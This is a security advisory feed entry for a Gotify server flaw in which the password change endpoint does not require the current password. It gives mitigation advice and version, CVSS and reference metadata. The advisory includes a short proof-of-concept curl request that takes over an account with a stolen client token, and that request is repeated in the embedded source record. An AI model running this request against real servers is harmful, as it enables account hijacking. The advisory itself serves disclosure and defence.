Gotify: Insufficiently Protected Password Change endpoint
The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access. ## PoC ```bash # Attacker has obtained a client token # No prior password knowledge required STOLEN_TOKEN="Cxxxxxxxxxx" curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \ -H "Content-Type: application/json" \ -d '{"pass":"attacker_controls_this"}' # Expected response: # HTTP/1.1 200 OK ``` ## Mitigation - Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or - Restrict access to the state-changing endpoints under `/user` and `/current/user` to trusted networks.
- Products
- github.com/gotify/server/v2, github.com/gotify/server/v3
- Affected versions
- Not specified
- Fixed versions
- 3.0.0
- CVEs
- CVE-2026-102603
- Confirmed fixed CVEs
- Not specified
- Updated in this feed
- 31 Oct 2026, 08:44 UTC · Revision 1
Source evidence
Gotify: Insufficiently Protected Password Change endpoint
core-osv · Original sourcePublished 15 Oct 2026, 20:15 UTC
The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access. ## PoC ```bash # Attacker has obtained a client token # No prior password knowledge required STOLEN_TOKEN="Cxxxxxxxxxx" curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \ -H "Content-Type: application/json" \ -d '{"pass":"attacker_controls_this"}' # Expected response: # HTTP/1.1 200 OK ``` ## Mitigation - Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or - Restrict access to the state-changing endpoints under `/user` and `/current/user` to trusted networks.
osv:GHSA-3hcj-9m7p-wwm9
github.com/gotify/server/v2
Fixed versions: Not specified
github.com/gotify/server/v3
Fixed versions: 3.0.0
Complete source record
{
"id": "66158ba4d6cd29cb372d44ccb7726af0ca6ff2cd8c5ff508bad7e03875559e54",
"url": "https://osv.dev/vulnerability/GHSA-3hcj-9m7p-wwm9",
"method": "structured",
"payload": {
"kind": "advisory",
"title": "Gotify: Insufficiently Protected Password Change endpoint",
"summary": "The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access. ## PoC ```bash # Attacker has obtained a client token # No prior password knowledge required STOLEN_TOKEN=\"Cxxxxxxxxxx\" curl -X POST \"http://gotify-host/current/user/password?token=${STOLEN_TOKEN}\" \\ -H \"Content-Type: application/json\" \\ -d '{\"pass\":\"attacker_controls_this\"}' # Expected response: # HTTP/1.1 200 OK ``` ## Mitigation - Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or - Restrict access to the state-changing endpoints under `/user` and `/current/user` to trusted networks.",
"evidence": "osv:GHSA-3hcj-9m7p-wwm9",
"products": [
{
"name": {
"value": "github.com/gotify/server/v2",
"evidence": "/affected/0/package/name"
},
"prerequisites": [],
"fixed_versions": [],
"affected_versions": []
},
{
"name": {
"value": "github.com/gotify/server/v3",
"evidence": "/affected/1/package/name"
},
"prerequisites": [],
"fixed_versions": [
{
"value": "3.0.0",
"evidence": "/affected/1/ranges"
}
],
"affected_versions": []
}
],
"severity": "medium",
"structured": {
"id": "GHSA-3hcj-9m7p-wwm9",
"aliases": [
"CVE-2026-102603",
"GHSA-3hcj-9m7p-wwm9",
"GO-2026-6772"
],
"metrics": [
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"
}
],
"affected": [
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.1"
}
]
}
],
"package": {
"name": "github.com/gotify/server/v2",
"purl": "pkg:golang/github.com/gotify/server/v2",
"ecosystem": "Go"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3hcj-9m7p-wwm9/GHSA-3hcj-9m7p-wwm9.json"
}
},
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.0"
}
]
}
],
"package": {
"name": "github.com/gotify/server/v3",
"purl": "pkg:golang/github.com/gotify/server/v3",
"ecosystem": "Go"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3hcj-9m7p-wwm9/GHSA-3hcj-9m7p-wwm9.json"
}
}
],
"modified": "2026-10-19T21:41:12.735924686Z",
"provider": "osv",
"references": [
"https://github.com/gotify/server/security/advisories/GHSA-3hcj-9m7p-wwm9",
"https://nvd.nist.gov/vuln/detail/CVE-2026-102603",
"https://github.com/gotify/server/pull/952",
"https://github.com/gotify/server/commit/a8744482c668e07a61798573ec8e17bd3f6009f9",
"https://github.com/gotify/server",
"https://github.com/gotify/server/releases/tag/v3.0.0"
],
"provider_metadata": {
"cwe_ids": [
"CWE-620"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": "2026-10-13T15:17:30Z",
"github_reviewed_at": "2026-10-15T20:15:38Z"
}
},
"related_cves": [
{
"value": "CVE-2026-102603",
"evidence": "/aliases"
}
],
"security_relevant": true,
"severity_evidence": "/severity/0/score"
},
"source_id": "core-osv",
"document_id": 376786,
"published_at": "2026-10-15T20:15:38+00:00"
}